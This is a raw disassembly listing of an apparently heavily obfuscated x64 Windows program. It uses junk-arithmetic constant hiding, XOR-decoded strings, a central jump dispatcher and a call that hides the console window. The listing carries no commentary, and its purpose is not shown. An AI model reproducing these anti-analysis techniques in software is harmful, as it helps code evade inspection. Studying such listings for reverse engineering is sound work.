mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1b52866ae]
pushf
sub rdx, 0x75145dbe
popf
mov rcx, rax
call fcn.140160213
call fcn.1402fc0f4
movss xmm0, dword [0x140118010]
movss dword [rsp + 0x3e8], xmm0
movss xmm0, dword [0x14011803c]
movss dword [rsp + 0x3ec], xmm0
lea rcx, [rsp + 0x3e8]
call fcn.140164f74
lea rax, [rsp + 0x73]
mov rdi, rax
xor eax, eax
mov ecx, 0x9f4880b9
pushf
not ecx
add ecx, 0xafaf1948
xor ecx, 0x92388384
rol ecx, 0x59
popf
pushf
not ecx
add ecx, 0xd908d04e
xor ecx, 0xfdd0fb5f
rol ecx, 0x7f
popf
pushf
not ecx
add ecx, 0xb8dd684b
xor ecx, 0x9bf2f0b6
rol ecx, 0x7c
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x74]
mov rdi, rax
xor eax, eax
mov ecx, 0xff6a327d
pushf
not ecx
add ecx, 0xeacee515
xor ecx, 0xddecb347
rol ecx, 0xb8
popf
pushf
not ecx
add ecx, 0xc3cfeec6
xor ecx, 0xf39b66c4
rol ecx, 0x2f
popf
rep stosb byte [rdi], al
movss xmm0, dword [0x140118044]
movss dword [rsp + 0x3f0], xmm0
movss xmm0, dword [0x140118014]
movss dword [rsp + 0x3f4], xmm0
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x6a8], rax
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x148], al
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x150], al
movabs rax, 0x855b8519a0fd1958
pushf
not rax
add rax, 0x7f9b827d
xor rax, 0x6a0302c6
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x5b2ebb72
xor rax, 0x49025774
rol rax, 0xaf
popf
mov qword [rsp + 0x530], rax
movabs rax, 0xca7adb4cde968a6
pushf
not rax
add rax, 0x5bd8dc9e
xor rax, 0x49e14303
rol rax, 0x3d
popf
pushf
not rax
add rax, 0x67c89342
xor rax, 0x5457477d
rol rax, 0x77
popf
pushf
not rax
add rax, 0x735bfc23
xor rax, 0x6cecf74a
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x5e5a7453
xor rax, 0x486cab92
rol rax, 0x59
popf
mov qword [rsp + 0x538], rax
movabs rax, 0xb5e141302f78b5e8
pushf
not rax
add rax, 0x6151634c
xor rax, 0x4dac89b4
rol rax, 0xfa
popf
pushf
not rax
add rax, 0x5f9e9975
xor rax, 0x458d2880
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x47ca070e
xor rax, 0x5d3cfbf7
rol rax, 0x9e
popf
mov qword [rsp + 0x8d0], rax
movabs rax, 0x1dbf44fe30c0f674
pushf
not rax
add rax, 0x617eef70
xor rax, 0x5ae9a5de
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x447054c8
xor rax, 0x6d743f9c
rol rax, 0x8f
popf
pushf
not rax
add rax, 0x7d8a9b28
xor rax, 0x76241c02
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x7fd17aa6
xor rax, 0x5887c29c
rol rax, 0xae
popf
mov qword [rsp + 0x8d8], rax
lea rax, [rsp + 0x75]
mov rdi, rax
xor eax, eax
mov ecx, 0x5a890890
pushf
not ecx
add ecx, 0x868cbe90
xor ecx, 0xfe35d866
rol ecx, 0x4e
popf
pushf
not ecx
add ecx, 0xcaa7b966
xor ecx, 0x97832fa2
rol ecx, 0x8f
popf
pushf
not ecx
add ecx, 0xb74bf7e2
xor ecx, 0x81869b80
rol ecx, 0x8d
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0x158], al
movdqa xmm0, xmmword [rsp + 0x8d0]
movdqa xmmword [rsp + 0xc90], xmm0
movdqa xmm0, xmmword [rsp + 0x530]
movdqa xmmword [rsp + 0xc80], xmm0
movdqa xmm0, xmmword [rsp + 0xc80]
pxor xmm0, xmmword [rsp + 0xc90]
movdqa xmmword [rsp + 0xca0], xmm0
movdqa xmm0, xmmword [rsp + 0xca0]
movdqa xmmword [rsp + 0x530], xmm0
lea rax, [rsp + 0x530]
mov qword [rsp + 0x6b0], rax
mov rdx, qword [rsp + 0x6a8]
mov rcx, qword [rsp + 0x6b0]
call fcn.1401a2005
movzx eax, al
test eax, eax
jne 0x1403e64cb
push rax
pushf
mov eax, 0x3b3e0515
pushf
not eax
add eax, 0xde62735f
xor eax, 0xedb92879
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x94dc8f56
xor eax, 0x89348f7c
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xbadebc72
xor eax, 0xc6ad6936
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xc9e8b543
xor eax, 0xee1e87a9
rol eax, 0xc
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x8fedf89a
pushf
not eax
add eax, 0xa9171264
xor eax, 0xecb851cc
rol eax, 0x65
popf
pushf
not eax
add eax, 0xca6db2f0
xor eax, 0xa2f2850c
rol eax, 0x32
popf
pushf
not eax
add eax, 0x86ab7d67
xor eax, 0xafb4928e
rol eax, 0x4a
popf
jmp 0x1403e32c1
movzx eax, byte [0x140140910]
test eax, eax
je 0x1403e6566
push rax
pushf
mov eax, 0x7cf0ae1
pushf
not eax
add eax, 0x97cfb977
xor eax, 0xa3e68f51
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xfbe6eec4
xor eax, 0xed47abfd
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xb1cdf613
xor eax, 0xea01bb0e
rol eax, 0x8d
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x1f908dc3
pushf
not eax
add eax, 0x9dad48af
xor eax, 0x8235d8cf
rol eax, 0x83
popf
pushf
not eax
add eax, 0xaf2637ba
xor eax, 0xa8d22db4
rol eax, 0x83
popf
pushf
not eax
add eax, 0xcbb75db6
xor eax, 0xa1bf0482
rol eax, 0xc
popf
jmp 0x1403e32c1
lea rcx, [0x18c5f1187]
pushf
sub rcx, 0x4c5ecec7
popf
call fcn.14037c1a7
lea rax, [rsp + 0x1750]
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x6b8], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x1350], rax
movzx eax, byte [rsp + 0x161]
mov byte [rsp + 0x162], al
mov rax, qword [rsp + 0x6b8]
mov rcx, rax
call fcn.140008000
lea rax, [0x1b3aaea7f]
pushf
sub rax, 0x73979c8f
popf
mov qword [rsp + 0x1358], rax
lea rdx, [0x1bcdbed78]
pushf
sub rdx, 0x7cc7e488
popf
mov rcx, qword [rsp + 0x378]
call fcn.140005dc0
mov rdx, qword [rsp + 0x378]
lea rcx, [rsp + 0x15f0]
call fcn.1400042c0
lea rcx, [rsp + 0x15f0]
call fcn.1400051b0
movzx eax, al
test eax, eax
je 0x1403e66d0
push rax
pushf
mov eax, 0xc966ad0d
pushf
not eax
add eax, 0xedfab82c
xor eax, 0xa8a902ca
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xdb3aea91
xor eax, 0xf720c2a2
rol eax, 5
popf
pushf
not eax
add eax, 0xce39327c
xor eax, 0x87633791
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xb4098d3c
xor eax, 0x93f35b1f
rol eax, 0x72
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xb79183a4
pushf
not eax
add eax, 0xc9c2c85b
xor eax, 0xe0a4a65c
rol eax, 0x62
popf
pushf
not eax
add eax, 0xca477cca
xor eax, 0xac23c735
rol eax, 0x92
popf
pushf
not eax
add eax, 0xb37d4a17
xor eax, 0xda63fae6
rol eax, 0x4e
popf
jmp 0x1403e32c1
movzx eax, byte [0x140140870]
test eax, eax
jne 0x1403e677a
push rax
pushf
mov eax, 0xf78c36a4
pushf
not eax
add eax, 0xe75526d7
xor eax, 0xe4677fc2
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xd6be371e
xor eax, 0xed46a734
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xd3eee555
xor eax, 0xe268f902
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x935fb5ca
xor eax, 0xc815f635
rol eax, 0x22
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xf1f0d587
pushf
not eax
add eax, 0xe1622bfe
xor eax, 0x9748c405
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xdd4b211c
xor eax, 0xd9f2b87f
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x99195208
xor eax, 0xe194bddc
rol eax, 0xc
popf
jmp 0x1403e32c1
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
jmp 0x1403e67cd
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [0x140140870], 1
push rax
pushf
mov eax, 0x21196931
pushf
not eax
add eax, 0xdf537183
xor eax, 0x9e8070b7
rol eax, 0x54
popf
pushf
not eax
add eax, 0x88b09eaa
xor eax, 0xf92e9302
rol eax, 0xcb
popf
jmp 0x1403e32c1
lea rdx, [rsp + 0x1790]
lea rcx, [rsp + 0x15f0]
call fcn.140005140
mov qword [rsp + 0x6c0], rax
lea rdx, [rsp + 0x13d0]
mov rcx, qword [rsp + 0x6c0]
call fcn.140003110
lea rcx, [rsp + 0x1790]
call fcn.140002f50
lea rdx, [rsp + 0x1818]
lea rcx, [rsp + 0x15f0]
call fcn.140005140
mov qword [rsp + 0x6c8], rax
lea rdx, [rsp + 0x15c8]
mov rcx, qword [rsp + 0x6c8]
call fcn.140003130
lea rcx, [rsp + 0x1818]
call fcn.140002f50
lea rdx, [rsp + 0x18a0]
lea rcx, [rsp + 0x15f0]
call fcn.140005140
mov qword [rsp + 0x6d0], rax
lea rdx, [rsp + 0x13b0]
mov rcx, qword [rsp + 0x6d0]
call fcn.140003150
lea rcx, [rsp + 0x18a0]
call fcn.140002f50
lea rdx, [rsp + 0x1928]
lea rcx, [rsp + 0x15f0]
call fcn.140005140
mov rcx, rax
call fcn.140003100
mov dword [rsp + 0x348], eax
lea rcx, [rsp + 0x1928]
call fcn.140002f50
lea rcx, [0x1ba8c496f]
pushf
sub rcx, 0x7a8c06af
popf
call fcn.1402d98bd
lea rcx, [0x1a3329c08]
pushf
sub rcx, 0x63305668
popf
call fcn.14037c1a7
movzx eax, byte [0x140140910]
test eax, eax
jne 0x1403e6967
push rax
pushf
mov eax, 0x9d28da7d
pushf
not eax
add eax, 0x96519def
xor eax, 0xf4c929de
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x9ff37b2d
xor eax, 0xdc7b1c81
rol eax, 0x18
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xdc81c1b8
pushf
not eax
add eax, 0xe93ab7c7
xor eax, 0xffa72a5b
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xa14cb9a1
xor eax, 0xbb0d0081
rol eax, 0x1e
popf
jmp 0x1403e32c1
lea rax, [rsp + 0x1770]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x6d8], rax
lea rax, [rsp + 0x163]
mov qword [rsp + 0x1360], rax
movzx eax, byte [rsp + 0x164]
mov byte [rsp + 0x165], al
mov rax, qword [rsp + 0x6d8]
mov rcx, rax
call fcn.140008000
lea rax, [0x18e435b5f]
pushf
sub rax, 0x4e300d6f
popf
mov qword [rsp + 0x1340], rax
lea rdx, [0x18bdd81b4]
pushf
sub rdx, 0x4bc978c4
popf
mov rcx, qword [rsp + 0x380]
call fcn.140005dc0
mov rcx, qword [rsp + 0x380]
call fcn.1402cec4c
push rax
pushf
mov eax, 0xcd7b5213
pushf
not eax
add eax, 0xd88bffe6
xor eax, 0x9ca955cc
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xcd7c1833
xor eax, 0xd66a887d
rol eax, 5
popf
pushf
not eax
add eax, 0x872896d7
xor eax, 0xa9d86b92
rol eax, 0x95
popf
jmp 0x1403e32c1
lea rcx, [0x1ba6c961f]
pushf
sub rcx, 0x7a6a507f
popf
call fcn.1402d98bd
xor edx, edx
lea rcx, [0x182a34ab5]
pushf
sub rcx, 0x428f41c5
popf
call fcn.140005be0
lea rax, [rsp + 0x76]
mov rdi, rax
xor eax, eax
mov ecx, 0x9b94ea26
pushf
not ecx
add ecx, 0x84e14437
xor ecx, 0xfac61619
rol ecx, 0xc0
popf
pushf
not ecx
add ecx, 0xbe85ab83
xor ecx, 0xca28d9aa
rol ecx, 0xf1
popf
pushf
not ecx
add ecx, 0xa2b26cae
xor ecx, 0x97082ca3
rol ecx, 0xf8
popf
pushf
not ecx
add ecx, 0xefd121f1
xor ecx, 0xcacf1e69
rol ecx, 0x21
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x77]
mov rdi, rax
xor eax, eax
mov ecx, 0x9305d147
pushf
not ecx
add ecx, 0xe6faf593
xor ecx, 0xb1e14b5a
rol ecx, 0x34
popf
pushf
not ecx
add ecx, 0x8ec25f0e
xor ecx, 0x9da43d87
rol ecx, 0x1a
popf
rep stosb byte [rdi], al
lea rdx, [rsp + 0x19b0]
lea rcx, [rsp + 0x15f0]
call fcn.140005090
mov qword [rsp + 0x6e0], rax
lea rdx, [rsp + 0x1568]
mov rcx, qword [rsp + 0x6e0]
call fcn.140003720
mov qword [rsp + 0x6e8], rax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x170], al
movabs rax, 0xf119c18128752f42
pushf
not rax
add rax, 0x7fe7ccef
xor rax, 0x7c6152f5
rol rax, 0xf0
popf
pushf
not rax
add rax, 0x422ee3ff
xor rax, 0x5084754f
rol rax, 6
popf
pushf
not rax
add rax, 0x7fa2fc59
xor rax, 0x43061265
rol rax, 0x4c
popf
mov qword [rsp + 0x710], rax
movabs rax, 0x5e99cb832afff4f
pushf
not rax
add rax, 0x70ebb405
xor rax, 0x5a1c2d37
rol rax, 0x74
popf
pushf
not rax
add rax, 0x55e70a78
xor rax, 0x6923b861
rol rax, 0x7f
popf
pushf
not rax
add rax, 0x62a8c770
xor rax, 0x649c0b85
rol rax, 0xcb
popf
mov qword [rsp + 0x718], rax
movabs rax, 0xd0a7ac0a75c0fc8f
pushf
not rax
add rax, 0x5dcbb20b
xor rax, 0x4aef1f9d
rol rax, 0x96
popf
pushf
not rax
add rax, 0x7b326c82
xor rax, 0x72626ac3
rol rax, 0xa0
popf
mov qword [rsp + 0x720], rax
movabs rax, 0xb76a85d747d9883a
pushf
not rax
add rax, 0x47ea3a36
xor rax, 0x75b6b0b4
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x4b12eba5
xor rax, 0x7e38a7fc
rol rax, 0x1b
popf
mov qword [rsp + 0x728], rax
movabs rax, 0x3c7d88aab0a2c976
pushf
not rax
add rax, 0x7112374f
xor rax, 0x685785cc
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x753892bc
xor rax, 0x76b49055
rol rax, 7
popf
mov qword [rsp + 0x990], rax
movabs rax, 0x3eb8a4937c14778c
pushf
not rax
add rax, 0x65dba9a9
xor rax, 0x5a9d282e
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x6704faa6
xor rax, 0x5bb8e0d6
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x72f6416e
xor rax, 0x6b8e82af
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x6c57f35f
xor rax, 0x5a238ec0
rol rax, 0x78
popf
mov qword [rsp + 0x998], rax
movabs rax, 0x3a28daac230ed9b6
pushf
not rax
add rax, 0x4150a6a7
xor rax, 0x572cc94c
rol rax, 0x77
popf
pushf
not rax
add rax, 0x645da9dd
xor rax, 0x7908caea
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x697d9c5d
xor rax, 0x47a81486
rol rax, 0xa4
popf
mov qword [rsp + 0x9a0], rax
movabs rax, 0x97d3aeac0d7176ae
pushf
not rax
add rax, 0x511e3826
xor rax, 0x66e8ada2
rol rax, 0x13
popf
pushf
not rax
add rax, 0x5e7b888e
xor rax, 0x60509b8a
rol rax, 0xf2
popf
pushf
not rax
add rax, 0x7f049d77
xor rax, 0x5fc505a7
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x6a8a6226
xor rax, 0x6bbba5f4
rol rax, 0xaa
popf
mov qword [rsp + 0x9a8], rax
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x2799277a
pushf
not ecx
add ecx, 0xa72e5f91
xor ecx, 0xf64a3cbd
rol ecx, 0x2b
popf
pushf
not ecx
add ecx, 0xb4717791
xor ecx, 0xb566de2b
rol ecx, 0x17
popf
pushf
not ecx
add ecx, 0x8248d2e1
xor ecx, 0xcdc43d3e
rol ecx, 0x5a
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x178], al
movdqa xmm0, xmmword [rsp + 0x990]
movdqa xmmword [rsp + 0xcc0], xmm0
movdqa xmm0, xmmword [rsp + 0x710]
movdqa xmmword [rsp + 0xcb0], xmm0
movdqa xmm0, xmmword [rsp + 0xcb0]
pxor xmm0, xmmword [rsp + 0xcc0]
movdqa xmmword [rsp + 0xcd0], xmm0
movdqa xmm0, xmmword [rsp + 0xcd0]
movdqa xmmword [rsp + 0x710], xmm0
lea rax, [rsp + 0x720]
mov qword [rsp + 0x3f8], rax
lea rax, [rsp + 0x9a0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xcf0], xmm0
mov rax, qword [rsp + 0x3f8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xce0], xmm0
movdqa xmm0, xmmword [rsp + 0xce0]
pxor xmm0, xmmword [rsp + 0xcf0]
movdqa xmmword [rsp + 0xd00], xmm0
mov rax, qword [rsp + 0x3f8]
movdqa xmm0, xmmword [rsp + 0xd00]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x710]
mov qword [rsp + 0x6f0], rax
mov r8, qword [rsp + 0x6e8]
mov rdx, qword [rsp + 0x6f0]
lea rcx, [rsp + 0x1548]
call fcn.1400066d0
mov rdx, rax
lea rcx, [0x1ae536a85]
pushf
sub rcx, 0x6e3f61ed
popf
call fcn.140391583
lea rcx, [rsp + 0x1548]
call fcn.140005460
lea rcx, [rsp + 0x1568]
call fcn.140005460
lea rcx, [rsp + 0x19b0]
call fcn.140003500
lea rax, [rsp + 0x79]
mov rdi, rax
xor eax, eax
mov ecx, 0x262e838f
pushf
not ecx
add ecx, 0xb76b9116
xor ecx, 0xc923595f
rol ecx, 0x8b
popf
pushf
not ecx
add ecx, 0xab472ef3
xor ecx, 0xafdc59f8
rol ecx, 0x5e
popf
pushf
not ecx
add ecx, 0x858dd1fd
xor ecx, 0xfbaec28a
rol ecx, 6
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x7a]
mov rdi, rax
xor eax, eax
mov ecx, 0xe3dd536a
pushf
not ecx
add ecx, 0xf431d5de
xor ecx, 0xc316d61b
rol ecx, 0x2f
popf
pushf
not ecx
add ecx, 0xd526a6ba
xor ecx, 0xc5eafe04
rol ecx, 0x70
popf
pushf
not ecx
add ecx, 0xc14cc122
xor ecx, 0xbc6e7f3e
rol ecx, 0xd5
popf
pushf
not ecx
add ecx, 0x9d5eb4f1
xor ecx, 0xb676692b
rol ecx, 0xe2
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x180], al
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x188], al
movabs rax, 0x94eb1e10e7ed94a2
pushf
not rax
add rax, 0x60fe7dac
xor rax, 0x4714c236
rol rax, 0x72
popf
pushf
not rax
add rax, 0x5e7b5bc1
xor rax, 0x53ccb65f
rol rax, 0xe3
popf
mov qword [rsp + 0x730], rax
movabs rax, 0x238f96f91e3be746
pushf
not rax
add rax, 0x7d0757eb
xor rax, 0x5b25182f
rol rax, 0x9e
popf
pushf
not rax
add rax, 0x75e12f9f
xor rax, 0x64d4d762
rol rax, 0xc6
popf
pushf
not rax
add rax, 0x6d5f3738
xor rax, 0x535bdaf9
rol rax, 0x48
popf
pushf
not rax
add rax, 0x7158913b
xor rax, 0x7734c449
rol rax, 9
popf
mov qword [rsp + 0x738], rax
movabs rax, 0x127bfbde74d2ee64
pushf
not rax
add rax, 0x4131419e
xor rax, 0x63a3e110
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x45bfd4e3
xor rax, 0x63a9adb9
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x571ead30
xor rax, 0x63df4683
rol rax, 0xb7
popf
mov qword [rsp + 0x740], rax
movabs rax, 0x556e54be2b0e2196
pushf
not rax
add rax, 0x4ca413d0
xor rax, 0x5277f606
rol rax, 0x84
popf
pushf
not rax
add rax, 0x74335888
xor rax, 0x62ac5997
rol rax, 0x27
popf
mov qword [rsp + 0x748], rax
movabs rax, 0x53610761d321df8a
pushf
not rax
add rax, 0x5a7426e2
xor rax, 0x50bff34a
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x560e9b35
xor rax, 0x4ed7f1d0
rol rax, 0xd7
popf
pushf
not rax
add rax, 0x748f6116
xor rax, 0x44eefbdd
rol rax, 0xe0
popf
mov qword [rsp + 0x9b0], rax
movabs rax, 0x78b7cf1d183eb39e
pushf
not rax
add rax, 0x51aecf1e
xor rax, 0x776e34f9
rol rax, 0xcd
popf
pushf
not rax
add rax, 0x72aaa848
xor rax, 0x50767cef
rol rax, 0x58
popf
pushf
not rax
add rax, 0x448d8521
xor rax, 0x559afe10
rol rax, 0xed
popf
pushf
not rax
add rax, 0x7bfc8a0f
xor rax, 0x5a8f8571
rol rax, 0x21
popf
mov qword [rsp + 0x9b8], rax
movabs rax, 0x981961e94e71e037
pushf
not rax
add rax, 0x77a68073
xor rax, 0x500d5cb6
rol rax, 0xda
popf
pushf
not rax
add rax, 0x4d302a2a
xor rax, 0x5ba1b4e3
rol rax, 0x13
popf
pushf
not rax
add rax, 0x49d0a1c1
xor rax, 0x5b48aff1
rol rax, 0x8d
popf
mov qword [rsp + 0x9c0], rax
movabs rax, 0x3621ddbace6e7871
pushf
not rax
add rax, 0x4cd1a426
xor rax, 0x50d72084
rol rax, 0x9c
popf
pushf
not rax
add rax, 0x5337a80b
xor rax, 0x5ccf20ed
rol rax, 0xcf
popf
mov qword [rsp + 0x9c8], rax
lea rax, [rsp + 0x7b]
mov rdi, rax
xor eax, eax
mov ecx, 0xd324912c
pushf
not ecx
add ecx, 0xff17b268
xor ecx, 0xd477cc4c
rol ecx, 0xb
popf
pushf
not ecx
add ecx, 0xd841e490
xor ecx, 0xb0d42493
rol ecx, 0x4f
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x7b]
mov byte [rsp + 0x190], al
movdqa xmm0, xmmword [rsp + 0x9b0]
movdqa xmmword [rsp + 0xd20], xmm0
movdqa xmm0, xmmword [rsp + 0x730]
movdqa xmmword [rsp + 0xd10], xmm0
movdqa xmm0, xmmword [rsp + 0xd10]
pxor xmm0, xmmword [rsp + 0xd20]
movdqa xmmword [rsp + 0xd30], xmm0
movdqa xmm0, xmmword [rsp + 0xd30]
movdqa xmmword [rsp + 0x730], xmm0
lea rax, [rsp + 0x740]
mov qword [rsp + 0x400], rax
lea rax, [rsp + 0x9c0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd50], xmm0
mov rax, qword [rsp + 0x400]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd40], xmm0
movdqa xmm0, xmmword [rsp + 0xd40]
pxor xmm0, xmmword [rsp + 0xd50]
movdqa xmmword [rsp + 0xd60], xmm0
mov rax, qword [rsp + 0x400]
movdqa xmm0, xmmword [rsp + 0xd60]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x730]
lea r8, [rsp + 0x13b0]
mov rdx, rax
lea rcx, [rsp + 0x1588]
call fcn.140006570
mov rdx, rax
lea rcx, [0x1bc65685e]
pushf
sub rcx, 0x7c515f9e
popf
call fcn.140391583
lea rcx, [rsp + 0x1588]
call fcn.140005460
cmp dword [rsp + 0x348], 0
jne 0x1403e74b0
push rax
pushf
mov eax, 0xc8646d96
pushf
not eax
add eax, 0xac63ebed
xor eax, 0xaec79db9
rol eax, 0x84
popf
pushf
not eax
add eax, 0xadca0592
xor eax, 0xda34c69d
rol eax, 0xb1
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x2f7d0e70
pushf
not eax
add eax, 0xcd383056
xor eax, 0xb730937f
rol eax, 0x31
popf
pushf
not eax
add eax, 0xe978ce83
xor eax, 0x85b4796b
rol eax, 0x8c
popf
jmp 0x1403e32c1
mov dword [0x1401408b8], 1
push rax
pushf
mov eax, 0x78a2338d
pushf
not eax
add eax, 0x8e0d80b8
xor eax, 0xc0e31564
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xc8ccfd63
xor eax, 0x9451aed4
rol eax, 0x58
popf
pushf
not eax
add eax, 0xeeb41746
xor eax, 0xc7df10bf
rol eax, 0x73
popf
pushf
not eax
add eax, 0xb39b5301
xor eax, 0xb833a0d1
rol eax, 0xf2
popf
jmp 0x1403e32c1
cmp dword [rsp + 0x348], 1
jne 0x1403e7583
push rax
pushf
mov eax, 0x710bcfa4
pushf
not eax
add eax, 0xa0ea61e8
xor eax, 0xef5a29ca
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xe96eee82
xor eax, 0xf680c77f
rol eax, 0xa8
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x1f5db512
pushf
not eax
add eax, 0x9470dca1
xor eax, 0x898c911b
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xf0988aab
xor eax, 0x926b0ded
rol eax, 0x58
popf
pushf
not eax
add eax, 0xb5b4ec84
xor eax, 0x8a546328
rol eax, 0x9e
popf
jmp 0x1403e32c1
mov dword [0x1401408b8], 2
push rax
pushf
mov eax, 0xd6472bd2
pushf
not eax
add eax, 0xeebf1d19
xor eax, 0x88c64852
rol eax, 0x96
popf
pushf
not eax
add eax, 0xa4887624
xor eax, 0xd8a1f448
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xa6c953dc
xor eax, 0xe2e674fc
rol eax, 0x60
popf
jmp 0x1403e32c1
lea rax, [rsp + 0x9d0]
mov qword [rsp + 0x6f8], rax
mov rax, qword [rsp + 0x6f8]
mov rcx, rax
call fcn.140008000
lea rax, [rsp + 0x9d0]
mov qword [rsp + 0x1348], rax
lea rcx, [rsp + 0x9d0]
call fcn.140005bc0
lea rax, [rsp + 0x9d0]
mov qword [rsp + 0x408], rax
lea rax, [rsp + 0x13d0]
cmp qword [rsp + 0x408], rax
je 0x1403e76be
push rax
pushf
mov eax, 0x5449195b
pushf
not eax
add eax, 0xbdf6b73e
xor eax, 0xc1a57f24
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xf8864268
xor eax, 0xb740faa8
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xce4abfe1
xor eax, 0xaa71d306
rol eax, 0x6a
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x31ecfb12
pushf
not eax
add eax, 0xe5c6aab1
xor eax, 0xfffe7a83
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xd5ed5959
xor eax, 0xfd58671b
rol eax, 0x42
popf
pushf
not eax
add eax, 0xba2dd35d
xor eax, 0xd5283c5b
rol eax, 0x94
popf
jmp 0x1403e32c1
lea rax, [rsp + 0x7c]
mov rdi, rax
xor eax, eax
mov ecx, 0x8dced17
pushf
not ecx
add ecx, 0x9ec1d096
xor ecx, 0xff40e6ba
rol ecx, 0x11
popf
pushf
not ecx
add ecx, 0xb7c10d2a
xor ecx, 0xac3837f1
rol ecx, 0xbc
popf
rep stosb byte [rdi], al
movzx r8d, byte [rsp + 0x7c]
lea rdx, [rsp + 0x13d0]
mov rcx, qword [rsp + 0x408]
call fcn.140005da0
push rax
pushf
mov eax, 0x77606f2f
pushf
not eax
add eax, 0xa2df7bf3
xor eax, 0xb01da3a5
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x9af44af9
xor eax, 0xa6193575
rol eax, 0xa2
popf
jmp 0x1403e32c1
lea rax, [rsp + 0x7d]
mov rdi, rax
xor eax, eax
mov ecx, 0xe2e32638
pushf
not ecx
add ecx, 0x9d710fae
xor ecx, 0xdb358b94
rol ecx, 0x78
popf
pushf
not ecx
add ecx, 0xcdd2992b
xor ecx, 0xac70e0c8
rol ecx, 2
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x7e]
mov rdi, rax
xor eax, eax
mov ecx, 0x1edf2c4e
pushf
not ecx
add ecx, 0xb0b95e10
xor ecx, 0x906d4387
rol ecx, 0x9a
popf
pushf
not ecx
add ecx, 0xf90d0bf1
xor ecx, 0xcf9c820d
rol ecx, 0x76
popf
pushf
not ecx
add ecx, 0xe829a6cd
xor ecx, 0xdd9e4021
rol ecx, 0x12
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x7d]
mov byte [rsp + 0x198], al
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x1a0], al
movabs rax, 0xa4d9e77a131af75d
pushf
not rax
add rax, 0x7af48a10
xor rax, 0x6eb46e5c
rol rax, 0xba
popf
pushf
not rax
add rax, 0x75593c1a
xor rax, 0x7efab5e4
rol rax, 0x54
popf
pushf
not rax
add rax, 0x757762c9
xor rax, 0x4a39477d
rol rax, 0x49
popf
mov qword [rsp + 0x7c0], rax
movabs rax, 0xdd002a64eb22da28
pushf
not rax
add rax, 0x5199f3b2
xor rax, 0x5206ae66
rol rax, 0x70
popf
pushf
not rax
add rax, 0x6f3eb7d7
xor rax, 0x4ba6df23
rol rax, 0x79
popf
pushf
not rax
add rax, 0x73367426
xor rax, 0x5d942294
